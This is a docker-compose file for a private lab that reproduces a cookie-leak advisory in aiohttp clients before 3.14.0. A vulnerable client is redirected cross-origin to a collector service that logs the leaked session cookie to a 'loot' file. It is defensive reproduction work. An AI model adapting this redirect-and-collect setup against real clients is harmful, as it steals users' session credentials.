# GHSA-hg6j-4rv6-33pg / CVE-2026-47265 — per-request cookie leak on
# cross-origin redirect in aiohttp < 3.14.0.
#
# Three services on one private bridge so the two HTTP origins (firsthop and
# collector) are genuinely distinct hosts. Only the victim's control endpoint
# is published to the host (127.0.0.1) for the exploiter to trigger.
services:
  collector:
    # Origin B (foreign / cross-origin redirect target). Records inbound
    # Cookie headers. Server-side aiohttp version is irrelevant to the bug.
    build:
      context: .
      dockerfile: Dockerfile
      args:
        AIOHTTP_VERSION: "3.13.5"
    image: cve-2026-47265-aiohttp:3.13.5
    container_name: cve-2026-47265-collector
    command: ["python3", "/app/collector_app.py"]
    environment:
      LOOT_PATH: "/loot/cookie_header.log"
    networks: [lab]
    healthcheck:
      test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:80/health')"]
      interval: 3s
      timeout: 3s
      retries: 10

  firsthop:
    # Origin A. The victim's per-request cookie is legitimately scoped here.
    # /redirect 302s cross-origin to the collector.
    image: cve-2026-47265-aiohttp:3.13.5
    container_name: cve-2026-47265-firsthop
    command: ["python3", "/app/firsthop_app.py"]
    environment:
      REDIRECT_TARGET: "http://collector:80/collect"
    depends_on:
      collector:
        condition: service_healthy
    networks: [lab]
    healthcheck:
      test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:80/health')"]
      interval: 3s
      timeout: 3s
      retries: 10

  victim:
    # The VULNERABLE aiohttp client (3.13.5). Plants a fresh secret on boot,
    # exposes a trigger endpoint for the exploiter.
    image: cve-2026-47265-aiohttp:3.13.5
    container_name: cve-2026-47265-victim
    entrypoint: ["/app/victim_entrypoint.sh"]
    environment:
      SECRET_PATH: "/secret/cookie_value"
      FIRST_HOP_URL: "http://firsthop:80/redirect"
      COOKIE_NAME: "session"
    ports:
      - "127.0.0.1:9000:9000"
    depends_on:
      firsthop:
        condition: service_healthy
    networks: [lab]
    healthcheck:
      test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:9000/health')"]
      interval: 3s
      timeout: 3s
      retries: 10

networks:
  lab:
    driver: bridge
